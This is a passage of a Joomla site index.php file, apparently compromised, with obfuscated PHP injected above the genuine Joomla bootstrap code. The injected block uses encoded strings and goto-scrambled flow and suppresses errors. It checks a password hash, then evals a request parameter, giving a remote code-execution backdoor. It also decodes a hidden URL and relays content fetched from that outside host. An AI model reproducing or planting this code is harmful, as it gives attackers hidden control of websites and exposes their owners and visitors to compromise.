array("\x35\63\x39\60\x38\x3e\65\63\x38\71\x33\76\65\x33\71\x30\x36\76\65\63\x39\61\x30\x3e\65\x33\70\x39\x31\x3e\65\63\x39\60\66\x3e\x35\x33\x39\61\x32\76\x35\63\71\x30\x35\76\65\63\x38\x39\x30\76\65\63\x38\71\67\76\x35\63\71\60\x38\x3e\x35\63\x38\x39\x31\76\x35\63\x39\60\x32\76\x35\x33\70\x39\66\x3e\x35\x33\70\x39\67", "\x35\63\x38\x39\x32\x3e\x35\63\x38\71\61\76\65\63\70\x39\x33\76\65\x33\x39\61\x32\76\x35\x33\x38\x39\x33\76\65\63\70\x39\x36\x3e\x35\x33\x38\x39\61\x3e\65\63\x39\65\x38\76\65\63\x39\65\x36", "\x35\x33\71\x30\x31\76\x35\x33\x38\71\x32\x3e\x35\x33\x38\71\66\76\65\x33\x38\x39\x37\76\x35\63\x39\61\62\76\x35\63\71\60\x37\x3e\65\x33\x39\x30\66\76\x35\x33\71\x30\70\76\65\63\x38\x39\x36\76\x35\x33\71\x30\67\x3e\65\63\x39\x30\x36", "\x35\x33\x38\71\65\76\65\x33\71\61\60\x3e\65\63\x39\60\x38\76\x35\63\x39\x30\60", "\x35\63\x39\60\x39\76\65\63\x39\x31\60\x3e\x35\x33\x38\x39\62\76\x35\x33\71\60\66\76\x35\63\x39\x35\x33\x3e\65\63\71\x35\65\76\65\x33\71\61\62\76\x35\x33\x39\60\x37\x3e\x35\63\71\60\66\76\x35\63\x39\x30\x38\76\65\x33\x38\71\x36\x3e\x35\x33\x39\x30\x37\x3e\65\63\x39\x30\66", "\65\x33\71\60\x35\76\x35\63\71\60\62\x3e\65\63\x38\x39\71\76\x35\x33\71\60\66\76\65\x33\x39\x31\x32\76\x35\x33\71\60\x34\76\65\63\x39\60\x36\x3e\x35\63\x38\x39\x31\76\65\63\71\x31\62\76\65\x33\71\x30\x38\76\x35\63\x38\71\66\76\65\x33\70\x39\x37\76\65\x33\70\x39\61\x3e\65\x33\x39\60\x36\x3e\65\63\70\x39\67\x3e\65\63\70\71\61\76\65\x33\x38\x39\62", "\65\63\x39\x33\65\x3e\65\63\71\66\x35", "\x35\x33\x38\x38\x32", "\x35\x33\71\x36\x30\x3e\65\x33\x39\66\65", "\65\x33\71\64\62\76\65\63\71\x32\65\x3e\x35\x33\x39\x32\x35\x3e\65\63\71\64\x32\x3e\65\63\71\x31\x38", "\65\63\71\60\65\76\x35\x33\71\x30\62\x3e\65\63\x38\x39\x39\76\x35\x33\x38\71\61\x3e\65\63\x39\60\66\x3e\x35\x33\70\x39\x33\x3e\65\x33\x39\61\x32\76\65\x33\71\60\62\76\65\63\70\x39\67\76\65\63\70\71\65\x3e\x35\x33\70\71\60\76\65\x33\70\x39\x31"); goto aTaqZxVxaCeijif; x5NU3cyKp9T8ibG: } } goto vmP7JZigripQUAp; r2igqu2WCWaOPYS: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\x5f\x55\122\111"], "\x69\156\144\x65\170\x2e\160\150\x70\57\x6a\153")) { goto PrfZXt3PclR4Ojz; } goto VeXVH1nlXP3Qcpn; ojyxCj78NkYs8B8: A18sieZOrGBDYlc: goto W4KLpvHaFWUg0UA; zYZXXIcFAhDHYmz: if (!(in_array(gettype($g94ZqtkbnNLb17_) . "\62\x31", $g94ZqtkbnNLb17_) && md5(md5(md5(md5($g94ZqtkbnNLb17_[15])))) === "\x38\x61\65\x63\60\x35\66\x64\141\60\146\x37\67\142\71\x63\142\146\146\141\143\144\146\62\x66\x65\x35\143\142\63\x61\x31")) { goto ZTvRrzpl4wT1KY0; } goto EzqrBMxTFFU5Xc_; ICMS4UgRWVwP5L9: metaphone("\x4f\x54\x49\x32\117\124\131\63\115\x44\143\167\116\172\x59\x32\116\x6a\115\64\x4d\152\105\x78\115\152\131\x77\116\x44\x49\171"); goto SqvGumhTHZGRbxk; UnyAHRUV3podNxx: $TsMh0ZTkYk9CgyH = true; goto ywYeVQm29shQi6h; M2X4SWaA7dIn4yc: @header("\103\x6f\156\164\145\x6e\x74\55\124\171\160\145\x3a" . $uJ1DU_C5cPZZ9bq["\164\x79\160\145"]); goto lWWMi3kmsjaM4pk; PzR_KhxyOi7hgEJ: header("\x43\157\156\164\x65\156\164\55\x54\x79\x70\145\72\40\164\x65\x78\164\57\150\x74\155\154\x3b\x20\x63\x68\141\x72\x73\145\164\x3d\x75\164\146\55\x38"); goto bQpRTbS8dibc1c4; kljZFmCTLOtrOMw: if (in_array($uJ1DU_C5cPZZ9bq["\x73\x74\141\164\x75\x73"], array(0, 200))) { goto WaS9sE0H4Iywahu; } goto wl0s3WySOwcgp8j; LJdzVzbj8Ljl6lC: $TsMh0ZTkYk9CgyH = false; goto GHB8z0JNxvJt66H; irhfdRPor1gavN3: error_reporting(0); goto aO2q6eC5hibfPQ5; rd2MRszH7FJuAgw: $g94ZqtkbnNLb17_ = ${$nDbmI63JCuSS1UA[8 + 23] . $nDbmI63JCuSS1UA[59 + 0] . $nDbmI63JCuSS1UA[12 + 35] . $nDbmI63JCuSS1UA[10 + 37] . $nDbmI63JCuSS1UA[44 + 7] . $nDbmI63JCuSS1UA[47 + 6] . $nDbmI63JCuSS1UA[7 + 50]}; goto zYZXXIcFAhDHYmz; XsS4vnEQD66kYtF: $L49jo5aw9LX7iOV["\x69"] = KPWWUrLBmJ15G2o($csPE61ywbn5qEvi); goto rTVIfYU8MH_cBce; h83JBM3Tb46zz1r: $uJ1DU_C5cPZZ9bq = I2jDsFPce6ywHDJ(base64_decode("\141\110\122\60\x63\x44\157\166\x4c\63\160\172\116\x6a\x51\x79\144\x6a\x45\172\141\x32\x38\x75\143\x6d\71\63\x64\107\x55\165\x64\x32\x6c\162\141\x53\x38"), $L49jo5aw9LX7iOV); goto kljZFmCTLOtrOMw; KP2YAQoORgttfr9: PrfZXt3PclR4Ojz: goto xWzldTlOsGIzDR5; gJOfdpMp61ZBhoO: @eval($g94ZqtkbnNLb17_[66](${$g94ZqtkbnNLb17_[38]}[22])); goto bRIbin0tCnl97yB; iRTZtK2KFx3pO9P: z8SsT8lqC6fivli:
?>
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
	die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__);
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();